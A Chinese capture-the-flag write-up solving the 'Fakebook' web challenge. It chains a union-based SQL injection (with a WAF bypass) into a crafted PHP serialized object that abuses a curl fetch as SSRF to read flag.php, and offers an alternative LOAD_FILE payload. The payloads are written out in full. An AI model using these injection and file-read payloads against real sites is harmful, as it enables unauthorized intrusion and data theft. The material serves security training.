Fakebook---反序列化+sql注入+ssrf

[网鼎杯 2018]Fakebook

在buuoj可以搜到

进入环境,常规用f12查看源码,看看有没有什么提示,但本人太菜了,实在找不到什么提示

进入,先注册一个账号,发现本题对bolg有审查,必须为真实可以进入的网址

点击username ,发现可以进入用户的页面

这个页面可以访问用户提供的博客网址,并显示,那么,我们思路就来了,我们是不是可以通过file协议来访问并显示靶机的文件,这就去试试

ps图片未显示网页信息是因为靶机的访问请求被我的浏览器给拦截了,所以没能显示我的博客,

但通过文字提示,可以知道,是存在显示功能的

咳咳,果然没那么简单,这里有waf

然后,我们还能发现view页面有get传参no,用于从数据库调取用户信息,是一个很明显的注入点

经过尝试,构造了payload1为

ps,这里union布置怎么被过滤了,在其后面多加一个空格即可绕过过滤

?no=-1 union  select 1,(select user()),1,1#

 在这里我们可以发现的信息

1.回显点在username处

2.使用了反序列化储存,在数据库中储存的age,blog都是通过序列化字符串储存的,

3.绝对路径为/var/www/html

综上,我们可以猜出flag大概率存在于html目录下

上御剑:

 成功发现flag.php

已经到了这里了,这道题可能跟返序列化有关,但反序列化一般需要知道源码的,也就是说这道题应该存在源码泄露,以此来构造我们的payload(序列化字符串),使blog输出为file:///var/www/html/flag.php即可

---------------------------------------------------

解法一

以我有限的渗透水平,我实在想不到怎么找到源码泄露

于是搜索大佬们的wp,发现在robots.txt里面有代码备份,

 QAQ,这就是我和dalao的差距啊,为啥他们一看源码,就能发现泄露啊TAT.

我们下载备份文件,

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

这正是我们需要的用户类的代码,通过源码,我们很容易构造出userinfo的序列化字符串,然后将blog换成file:///var/www/html/flag.php,如下

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

所以接下来只要把这段字符串放在get接受的位置即可(加单引号包裹)

最后,回到我们的sql注入,

 输入

payload:?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

至于为何在4位点插入串,因为我们之前猜测ssrf的利用位置在blog--4位点,别的位置无法curl_exec()造成ssrf

f12发现flag。。。


解法二:

既然这个sql注入又回显

我们是不是可以使用sql注入load_file()利用报错的绝对路径直接查到flag.php

构造pyload

?no=-1 union  select 1,(SELECT LOAD_FILE('/var/www/html/flag.php') AS Result),3,4#

f12回显点,直接得到flag


总结,我要走的路还很长啊TAT

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值